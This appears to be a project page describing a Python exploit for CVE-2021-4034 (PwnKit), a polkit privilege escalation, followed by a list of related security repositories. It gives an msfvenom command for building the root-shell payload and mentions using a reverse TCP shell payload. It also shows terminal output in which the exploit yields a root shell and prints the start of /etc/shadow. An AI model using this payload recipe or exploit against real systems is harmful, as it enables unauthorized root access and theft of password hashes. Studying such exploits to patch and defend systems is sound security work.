Python exploit code for CVE-2021-4034 (pwnkit)

Last update: Dec 29, 2022

Overview

Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs.

The default payload starts a shell as root, generated from msfvenom:

msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64

I've tested linux/x64/shell_reverse_tcp as well. Make sure you include the PrependSetuid=true argument to msfvenom, otherwise you'll just get a shell as the user and not root.

The code is cribbed from blasty, the orginal is available here

$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#

Python exploit code for CVE-2021-4034 (pwnkit)

Related tags

Overview

Owner

Joe Ammond

ThePhish: an automated phishing email analysis tool

Cisco RV110w UPnP stack overflow

An automated, reliable scanner for the Log4Shell (CVE-2021-44228) vulnerability.

Bypass 4xx HTTP response status codes.

Tensorflow 1.13.X implementation for our NN paper: Wei Xia, Sen Wang, Ming Yang, Quanxue Gao, Jungong Han, Xinbo Gao: Multi-view graph embedding clustering network: Joint self-supervision and block diagonal representation. Neural Networks 145: 1-9 (2022)

This repository uses a mixture of numbers, alphabets, and other symbols found on the computer keyboard

Confluence Server Webwork OGNL injection

Dumps the payload.bin image found in Android update images.

POC for detecting the Log4Shell (Log4J RCE) vulnerability

IDAPatternSearch adds a capability of finding functions according to bit-patterns into the well-known IDA Pro disassembler based on Ghidra’s function patterns format.

Using python 3 and Flask an MVC system where the AES 128 CBC and Trivium algorithms

Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1

TOOLS CRACK FACEBOOK

This is a Python program that implements a vacuum cleaner as an Artificial Intelligence.

Fast and customizable vulnerability scanner For JIRA written in Python

A high-performance DNS stub resolver for bulk lookups and reconnaissance (subdomain enumeration)

Docker Compose based system for running remote browsers (including Flash and Java support) connected to web archives

Get important strings inside [Info.plist] & and Binary file also all output of result it will be saved in [app_binary].json , [app_plist_file].json file

Malware-analysis-writeups - Some of my Malware Analysis writeups

It's a simple tool for test vulnerability Apache Path Traversal